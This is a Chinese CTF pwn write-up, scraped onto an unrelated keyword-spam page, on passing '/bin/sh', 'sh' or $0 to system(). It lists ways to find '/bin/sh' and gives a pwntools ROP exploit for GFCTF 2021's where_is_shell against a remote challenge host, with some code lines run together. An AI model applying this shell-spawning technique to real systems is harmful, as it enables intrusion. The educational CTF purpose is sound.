当前位置: 首页 > news >正文

推广公司名字大全如何优化培训体系

推广公司名字大全,如何优化培训体系,wordpress 弹窗,上榜网络pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。 目录 前言 一、/bin/sh 1.strings 2.IDA 3.pwntools 4.ROPgadget 5.libc中寻找 二、sh 三、$(0) exp IDA查看机器码 …

pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。

目录

前言

一、'/bin/sh'

1.strings

2.IDA 

3.pwntools 

4.ROPgadget

5.libc中寻找

二、'sh'

三、$(0) 

exp

IDA查看机器码 

总结


前言

就system的参数而言,'/bin/sh'、'sh'、$(0),这三者似乎都可以返回shell


一、'/bin/sh'

这个无需多说,然而查找方式可以总结一下

1.strings

linux的指令~

strings filename | grep /bin/sh

2.IDA 

shift+F12即可获取所有的字符串即位置

当然,我这个截图里面没有'/bin/sh'

3.pwntools 

pwntools里面的ELF对象,除了能够查看plt和got表信息(地址)、symbols查看标识位置,还可以通过search来找字符串

from pwn import *
p = process("filename")
bin_sh_addr = next(p.search("/bin/sh"))
#bin_sh_addr = p.search("/bin/sh").next()
#这个next的使用,据我印象,好像是因为python2到python3的缘故

4.ROPgadget

ROPgadget --binary filename --strings '/bin/sh'

5.libc中寻找

from LibcSearcher import *
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================

当然,如果给了本地文件,pwntools的ELF也可以类似于方法3找到字符串 


二、'sh'

这个是环境变量配置,做题的时候遇到过,用于替换‘/bin/sh',可以尝试一下


三、$(0) 

这是当前遇到的一道题目,[GFCTF 2021]where_is_shell

利用system($0)获得shell权限,$0在机器码中为 \x24\x30

题目给出了tips函数,这一串东西,是什么意思呢?地址也没有呀~

查看机器码

发现了24 30机器码,所以实际上我们可以把这里的地址作为参数。

exp

from pwn import *
from LibcSearcher import *context(os='linux',arch='amd64',log_level="debug")
io=remote("node4.anna.nssctf.cn",28559)elf=ELF("./shell")system_plt=elf.symbols['system']
#system_plt=0x400430
'''
if system_plt!=elf.symbols['system']:print(system_plt,"  ",elf.symbols["system"])
'''
#这里的bin_sh实际上是\x24\x30开始的地址
bin_sh=0x400541
rdi=0x4005e3
ret=0x400416payload=b'a'*(0x10+8)
payload+=p64(ret)
payload+=p64(rdi)+p64(bin_sh)
payload+=p64(system_plt)io.sendlineafter(b'it?\n',payload)
io.interactive()

IDA查看机器码 

opcode bytes设置一下,保存即可 


总结

对于system参数的选取,有必要总结一下。优化大概率事件嘛。以后遇到也会持续更新啦

http://www.yidumall.com/news/57184.html

相关文章:

  • 网站关键词搜索排名做小程序公司哪家好
  • 黄山建设厅官方网站深圳网站推广公司
  • 建设项目验收在哪个网站公示渠道策略的四种方式
  • 深圳信科做网站网络营销策划书2000字
  • 百度开户做网站2400佛山网站建设制作公司
  • 四川网站开发公司百度指数官方
  • 网站怎么做落款网址链接
  • 自己做的网站打开超慢江东seo做关键词优化
  • 站长工具seo综合查询columbu cat磁力最好用的搜索引擎
  • 99到家网站怎么做推广普通话手抄报内容50字
  • 延庆网站建设师肇庆网站推广排名
  • 大型在线网站建设网络营销案例分析论文
  • 昆明疫情最新情况今天前端seo优化
  • 网站开发语言统计百度关键词排名技术
  • ecms网站开发论文长春百度关键词优化
  • 德阳吧网站建设开封搜索引擎优化
  • 学做日本料理菜的视频网站百度指数网
  • 网站制作好以后怎么管理买链接网站
  • 国外做爰网站今日十大热点新闻事件
  • 今天的新闻直播间百度seo2022新算法更新
  • 如何做好网络宣传工作seo关键词排名优化app
  • 烟台网站开发seo是什么的简称
  • wordpress伪静态html武汉官网优化公司
  • 网站建设实训总结图片百度搜索
  • 怎么怎么做网站2022年最好用的搜索引擎
  • 购买了网站空间如何进入山西seo推广
  • 网站做外链的方式seo教程技术
  • 产品做推广一般上什么网站bt最佳磁力搜索引擎吧
  • 营销型网站建设网站建设制作百度软件应用市场
  • 网络营销职能是什么seo顾问多少钱